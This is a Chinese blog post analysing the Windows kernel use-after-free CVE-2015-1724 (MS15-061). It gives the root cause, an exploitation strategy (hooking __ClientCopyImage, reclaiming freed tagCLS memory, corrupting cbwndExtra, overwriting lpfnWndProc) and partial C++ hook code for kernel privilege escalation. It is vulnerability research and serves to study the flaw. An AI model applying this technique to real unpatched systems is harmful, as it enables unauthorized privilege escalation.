首页 > 其他 > 详细

CVE-2015-1724(MS15-061)

时间:2020-06-15 19:26:35      阅读:39      评论:0      收藏:0      [点我收藏+]

CVE-2015-1724(MS15-061)

漏洞成因

NtUserSetClassLong中存在一条调用xxxCreateClassSmIcon的代码路径,在xxxCreateClassSmIcon中执行了用户回调,但并未对tagCLS结构加锁,导致在用户层有将其释放的可能性,在用户回调结束后没有对tagCLS重新校验而直接调用HMAssignmentLock可能导致任意地址递减。

技术分享图片

技术分享图片

利用思路

  1. 在用户层挂钩xxxClientCopyImage中的要执行的用户回调USER32!__ClientCopyImage
  2. 在我们的挂钩函数中释放掉窗口A和窗口类
  3. 通过设置其他窗口的strName来重用这块堆内存A
  4. 通过精心布置strName的数据,使得HMAssignmentLock将窗口B的cbwndExtra字段减一,从而变成0xffffffff,从而通过SetWindowLongPtr来修改相邻窗口的lpfnWndProc,从而在内核权限下执行代码完成提权

利用细节

挂钩xxxClientCopyImage

    DWORD prot;
    __ClientCopyImageAddress = Get__ClientCopyImageAddressInPEB();
    cout << "address of __ClientCopyImage is: 0x" << hex << __ClientCopyImageAddress << endl;

    if (!VirtualProtect(__ClientCopyImageAddress, sizeof(PVOID), PAGE_EXECUTE_READWRITE, &prot))
    {
        return false;
    }
    g_originalCCI = (pUser32_ClientCopyImage)InterlockedExchangePointer(
        (volatile PVOID*)__ClientCopyImageAddress,
        &hookCCI
    );

在挂钩函数中释放掉窗口A和窗口类

NTSTATUS NTAPI hookCCI(PVOID p)
{
	...
        
    DestroyWindow(hwnd);
    UnregisterClassW(L"MS15-061", NULL);
    
    ...
    return g_originalCCI(p);

通过在windbg中下条件断点可以观察到窗口类的堆内存被释放

ba e1 nt!RtlFreeHeap ".printf"RtlFreeHeap(%p, 0x%x, %p)", poi(@esp+4), poi(@esp+8), poi(@esp+c); .echo ; gc"

技术分享图片

然后通过NtUserDefSetText重用这块内存,并在调用前提前布置Text的内容,将其伪造为tagCLS结构,填充的数据可以在桌面堆用户层的映射地址读取,由于HMAssignmentLock是将tagCLS->spicnSm字段指向的对象+4的位置减一,因此将这个字段的值布置为相邻窗口B的cbwndExtra - 4的地址,

技术分享图片

技术分享图片

通过SetWindowLongPtr将相邻窗口C的lpfnWndProc替换为我们的窗口过程,从而实现再内核权限执行我们的代码

技术分享图片

技术分享图片

效果演示

技术分享图片

参考

https://github.com/LibreCrops/translation-zh_CN/blob/master/source/ms-15-061.rst

CVE-2015-1724(MS15-061)

原文:https://www.cnblogs.com/DreamoneOnly/p/13133884.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!